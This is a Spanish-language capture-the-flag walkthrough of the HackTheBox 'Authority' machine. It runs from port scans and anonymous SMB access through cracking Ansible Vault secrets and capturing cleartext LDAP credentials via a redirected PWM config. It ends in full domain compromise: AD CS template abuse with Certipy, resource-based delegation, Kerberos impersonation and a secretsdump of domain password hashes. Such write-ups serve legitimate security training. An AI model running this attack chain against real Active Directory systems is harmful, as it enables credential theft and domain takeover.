HackTheBox Authority

nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.11.222 -oG port

PORT     STATE SERVICE          REASON
53/tcp   open  domain           syn-ack ttl 127
80/tcp   open  http             syn-ack ttl 127
88/tcp   open  kerberos-sec     syn-ack ttl 127
135/tcp  open  msrpc            syn-ack ttl 127
139/tcp  open  netbios-ssn      syn-ack ttl 127
389/tcp  open  ldap             syn-ack ttl 127
445/tcp  open  microsoft-ds     syn-ack ttl 127
464/tcp  open  kpasswd5         syn-ack ttl 127
593/tcp  open  http-rpc-epmap   syn-ack ttl 127
636/tcp  open  ldapssl          syn-ack ttl 127
3268/tcp open  globalcatLDAP    syn-ack ttl 127
3269/tcp open  globalcatLDAPssl syn-ack ttl 127
5985/tcp open  wsman            syn-ack ttl 127
8443/tcp open  https-alt        syn-ack ttl 127

Puertos Abiertos.


nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443 10.10.11.222 -oN target.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-04 03:46 EDT
Nmap scan report for 10.10.11.222
Host is up (0.045s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 03:49:45Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2025-05-04T03:50:40+00:00; -3h56m31s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2025-05-04T03:50:40+00:00; -3h56m31s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
|_ssl-date: 2025-05-04T03:50:40+00:00; -3h56m31s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
|_ssl-date: 2025-05-04T03:50:40+00:00; -3h56m31s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after:  2024-08-09T23:13:21
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open  ssl/http      Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2025-05-02T03:46:41
|_Not valid after:  2027-05-04T15:25:05
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -3h56m31s, deviation: 0s, median: -3h56m31s
| smb2-time: 
|   date: 2025-05-04T03:50:32
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Versiones y servicios que corren para cada uno de esos puertos.


Ldapsearch

❯ ldapsearch -x -H ldap://10.10.11.222 -s base | grep 'ServiceName'
ldapServiceName: authority.htb:authority$@AUTHORITY.HTB
dsServiceName: CN=NTDS Settings,CN=AUTHORITY,CN=Servers,CN=Default-First-Site-

Verificamos el dominio y lo agregamos al etc/hosts.


SMB Enumeration

❯ smbclient -L //10.10.11.222 -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Department Shares Disk      
	Development     Disk      
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 

Recursos compartidos.

❯ smbclient //10.10.11.222/Development -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Mar 17 09:20:38 2023
  ..                                  D        0  Fri Mar 17 09:20:38 2023
  Automation                          D        0  Fri Mar 17 09:20:40 2023

		5888511 blocks of size 4096. 1189362 blocks available
smb: \> recurse ON 
smb: \> prompt OFF 
smb: \> mget *

Noos conectamos con una session nula y nos descargamos todo lo que encontramos.


Cracking Ansible Vault

/home/kali/Desktop/HackTheBox/Authority/content/Automation/Ansible/PWM/defaults


❯ awk '/pwm_admin_login: !vault \|/ {in_block=1; next} in_block && /^[[:space:]]/ {sub(/^[[:space:]]+/, ""); print; next} {in_block=0}' main.yml >> vault


❯ ansible2john vault >> hash

❯ john --show  hash
vault:!@#$%^&*

Que hicimos sacamos el ticket lo enviamos a un archivo llamado vault, luego usamos el contenido del archivo vault para geerar un hash crackeable usando John y tenemos la contraseña.


❯ cat vault | ansible-vault decrypt; echo
Vault password: 
Decryption successful
svc_pwm

❯ cat vault2 | ansible-vault decrypt; echo
Vault password: 
Decryption successful
pWm_@dm!N_!23

❯ cat vault3 | ansible-vault decrypt; echo
Vault password: 
Decryption successful
pWm_@dm!N_!23

A través de la herramienta de ansible-vault trataremos de desencriptar las credenciales de Ansible. FInalmente, logramos obtener las credenciales del usuario PWM y credenciales de un usuario de LDAP


Initial Access

Nos loguemos con las credenciales encontradas de el vault1 y vault2.

En la configuracion de este servicio observamos que podemos importarle una configuracion, y descargar la configuracion actual, Vamos a descargar la actual y ver que podemos modificar.

Observamos una via potencial de enviarnos algun tipo de conexion aca, en vez de que apunte asu propio servicio lo haremos que apunte a nuestra direccion IP.

<value>ldap://10.10.14.47:636</value>

Subiremos esta configuracion modificada y nos ponemos en escucha por el puerto que esta usando las APP.


❯ rlwrap nc -lvnp 636
listening on [any] 636 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.11.222] 54113
0Y`T;CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htblDaP_1n_th3_cle4r!

Conexion entrante svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htblDaP_1n_th3_cle4r!, parecen credenciales del servicio ldap.


NXC

❯ nxc winrm 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' 2>/dev/null
WINRM       10.10.11.222    5985   AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb)
WINRM       10.10.11.222    5985   AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! (Pwn3d!)

Tenemos credenciales validas para conectarnos viawinrm, el usuario pertenece seguro al Remote Management User.


WinRm

Bueno nos conectamos y obtenemos la primera bandera.


Privilege Escalation

❯ certipy-ad find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Trying to get CA configuration for 'AUTHORITY-CA' via CSRA
[!] Got error while trying to get CA configuration for 'AUTHORITY-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'AUTHORITY-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'AUTHORITY-CA'
[*] Saved BloodHound data to '20250507204154_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250507204154_Certipy.txt'
[*] Saved JSON output to '20250507204154_Certipy.json'

El comando le dice a Certipy que se conecte al servidor del dominio (10.10.11.222) usando el usuario svc_ldap con su contraseña, y que busque si hay cuentas o configuraciones en Active Directory que tengan vulnerabilidades conocidas, como usuarios que pueden pedir certificados sin control, delegaciones inseguras o permisos mal configurados.

Certificate Authorities
  0
    CA Name                             : AUTHORITY-CA
    DNS Name                            : authority.authority.htb
    Certificate Subject                 : CN=AUTHORITY-CA, DC=authority, DC=htb
    Certificate Serial Number           : 2C4E1F3CA46BBDAF42A1DDE3EC33A6B4
    Certificate Validity Start          : 2023-04-24 01:46:26+00:00
    Certificate Validity End            : 2123-04-24 01:56:25+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : AUTHORITY.HTB\Administrators
      Access Rights
        ManageCertificates              : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        ManageCa                        : AUTHORITY.HTB\Administrators
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins
        Enroll                          : AUTHORITY.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : CorpVPN
    Display Name                        : Corp VPN
    Certificate Authorities             : AUTHORITY-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : AutoEnrollmentCheckUserDsCertificate
                                          PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
                                          Document Signing
                                          IP security IKE i

En resumen, hay una plantilla de certificado llamada CorpVPN que podrías aprovechar si se cumplen ciertos requisitos. Te explico de forma sencilla:


📌 ¿Qué encontraste?

  • Autoridad de Certificados (CA) activa llamada AUTHORITY-CA.

  • Una plantilla de certificado activa llamada CorpVPN.

  • Está configurada para que el usuario que la solicite elija el nombre del certificado (SAN) → esto puede ser peligroso si no está bien controlado.

  • La clave privada es exportable, lo cual facilita abusos.

  • Cualquier usuario autenticado (Authenticated Users) puede solicitar certificados.


🧨 ¿Por qué es potencialmente vulnerable?

Porque podrías solicitar un certificado en nombre de otro usuario, como un Domain Admin, y luego usar ese certificado para autenticarte y obtener acceso a alto nivel en el dominio

Agregamos el dominio authority.authority.htb al etc/hosts


NXC

❯ nxc ldap 10.10.11.222 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!' -M maq 2>/dev/null

SMB         10.10.11.222    445    AUTHORITY        [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
LDAPS       10.10.11.222    636    AUTHORITY        [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r! 
MAQ         10.10.11.222    389    AUTHORITY        [*] Getting the MachineAccountQuota
MAQ         10.10.11.222    389    AUTHORITY        MachineAccountQuota: 10

La salida indica que el módulo MAQ ha ejecutado correctamente y ha obtenido el valor de MachineAccountQuota, que es 10 en este caso.

🔍 ¿Qué significa esto?

  • El MachineAccountQuota define cuántas cuentas de equipo pueden ser creadas por un solo usuario en Active Directory.

  • En tu caso, el valor de 10 significa que cualquier usuario puede crear hasta 10 cuentas de máquina en el dominio. Esto puede ser aprovechado para crear cuentas de máquinas maliciosas (como si fueran equipos legítimos), lo cual es una forma de pivotar o escalar privilegios.


Impacket-addcomputer

❯ impacket-addcomputer 'authority.htb/svc_ldap' -method LDAPS -computer-name 'EVIL01' -computer-pass 'Str0ng3st_P@ssw0rd!' -dc-ip 10.10.11.222
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Successfully added machine account EVIL01$ with password Str0ng3st_P@ssw0rd!.

Perfecto, agregaste exitosamente otra cuenta de máquina llamada EVIL01$ con una contraseña robusta (Str0ng3st_P@ssw0rd!).


❯ sudo ntpdate 10.10.11.222 | certipy-ad req -username EVIL01$ -password 'Str0ng3st_P@ssw0rd!' -ca AUTHORITY-CA -dc-ip 10.10.11.222 -template CorpVPN -upn administrator@authority.htb -dns authority.htb -debug
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.10.11.222[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 4
[*] Got certificate with multiple identifications
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator_authority.pfx'

Perfecto! Logramos obtener un certificado válido para el usuario administrator@authority.htb usando la cuenta de máquina EVIL01$, lo cual es un abuso exitoso del template CorpVPN.

¿Qué significa esto?

Acabavamos de emitir un certificado que permite autenticarse como el administrador del dominio.

Aunque no somos administrator, el template no verifica que seas el dueño del UPN, lo cual es una vulnerabilidad grave en el entorno Active Directory Certificate Services (AD CS).


Openssl

❯ openssl pkcs12 -in administrator_authority.pfx -nocerts -out administrator.key
Enter Import Password:
Enter PEM pass phrase:1234
Verifying - Enter PEM pass phrase:1234

> openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt
Enter Import Password:

Con ese comando estás extrayendo la clave privada desde el .pfx, y la estás guardando en un archivo (administrator.key) en formato PEM


python3 passthecert.py -dc-ip 10.10.11.222 -crt administrator.crt -key
administrator.key -domain authority.htb -port 636 -action write_rbcd -delegate-to
'AUTHORITY$' -delegate-from 'EVIL01$'

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
Enter PEM pass phrase:1234
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] EVIL01$ can now impersonate users on AUTHORITY$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] EVIL01$ (S-1-5-21-622327497-3269355298-2248959698-11602)

impacket-getST -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator
'authority.htb/EVIL01$:Str0ng3st_P@ssw0rd!'

Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

export KRB5CCNAME=Administrator.ccache

Este comando busca obtener un Ticket de Servicio (TGS) para el servicio cifs/AUTHORITY.authority.htb utilizando el ticket de la cuenta EVIL01$. El -impersonate Administrator está diciendo que se quiere obtener un ticket de servicio como si fueras el usuario "Administrator", a pesar de estar usando las credenciales de la máquina EVIL01$.


Impacket-Secretsdump

impacket-secretsdump -k -no-pass
authority.htb/Administrator@authority.authority.htb -just-dc-ntlm
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4
ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1::
:
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:815fe0602456b443c45ac1b507d4684d
:::
[*] Cleaning up...

Nos dumpeamos los hashes.


Evil-Winrm

Última actualización